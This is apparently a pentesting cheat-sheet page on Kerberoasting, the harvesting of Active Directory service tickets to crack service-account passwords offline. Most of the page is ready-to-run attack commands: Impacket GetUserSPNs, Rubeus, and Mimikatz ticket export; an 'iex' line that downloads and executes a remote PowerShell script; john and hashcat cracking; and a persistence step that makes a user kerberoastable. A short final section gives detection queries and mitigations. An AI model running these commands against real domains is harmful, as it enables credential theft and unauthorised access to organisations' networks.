Kerberoast

Kerberoast

The goal of Kerberoasting is to harvest TGS tickets for services that run on behalf of user accounts in the AD, not computer accounts. Thus, part of these TGS tickets are encrypted with keys derived from user passwords. As a consequence, their credentials could be cracked offline. You can know that a user account is being used as a service because the property "ServicePrincipalName" is not null.

Therefore, to perform Kerberoasting, only a domain account that can request for TGSs is necessary, which is anyone since no special privileges are required.

You need valid credentials inside the domain.

From linux

msf> use auxiliary/gather/get_user_spns
GetUserSPNs.py -request -dc-ip 192.168.2.160 <DOMAIN.FULL>/<USERNAME> -outputfile hashes.kerberoast # Password will be prompted
GetUserSPNs.py -request -dc-ip 192.168.2.160 -hashes <LMHASH>:<NTHASH> <DOMAIN>/<USERNAME> -outputfile hashes.kerberoast

From Windows, from memory to disk

Get-NetUser -SPN | select serviceprincipalname #PowerView, get user service accounts

#Get TGS in memory
Add-Type -AssemblyName System.IdentityModel 
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local 

klist #List kerberos tickets in memory

Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder

From Windows

Request-SPNTicket -SPN "<SPN>" #Using PowerView Ex: MSSQLSvc/mgmt.domain.local
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1")
Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast

Cracking

john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi

Persistence

If you have enough permissions over a user you can make it kerberoastable:

 Set-DomainObject -Identity <username> -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose

You can find useful tools for kerberoast attacks here: https://github.com/nidem/kerberoast

If you find this error from Linux: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) it because of your local time, you need to synchronise the host with the DC: ntpdate <IP of DC>

Mitigation

Kerberoast is very stealthy if exploitable

• Security Event ID 4769 – A Kerberos ticket was requested

• Since 4769 is very frequent, lets filter the results:

  • Service name should not be krbtgt

  • Service name does not end with $ (to filter out machine accounts used for services)

  • Account name should not be machine@domain (to filter out requests from machines)

  • Failure code is '0x0' (to filter out failures, 0x0 is success)

  • Most importantly, ticket encryption type is 0x17

• Mitigation:

  • Service Account Passwords should be hard to guess (greater than 25 characters)

  • Use Managed Service Accounts (Automatic change of password periodically and delegated SPN Management)

Get-WinEvent -FilterHashtable @{Logname='Security';ID=4769} -MaxEvents 1000 | ?{$_.Message.split("`n")[8] -ne 'krbtgt' -and $_.Message.split("`n")[8] -ne '*$' -and $_.Message.split("`n")[3] -notlike '*$@*' -and $_.Message.split("`n")[18] -like '*0x0*' -and $_.Message.split("`n")[17] -like "*0x17*"} | select ExpandProperty message

More information about Kerberoasting in ired.team in here and here.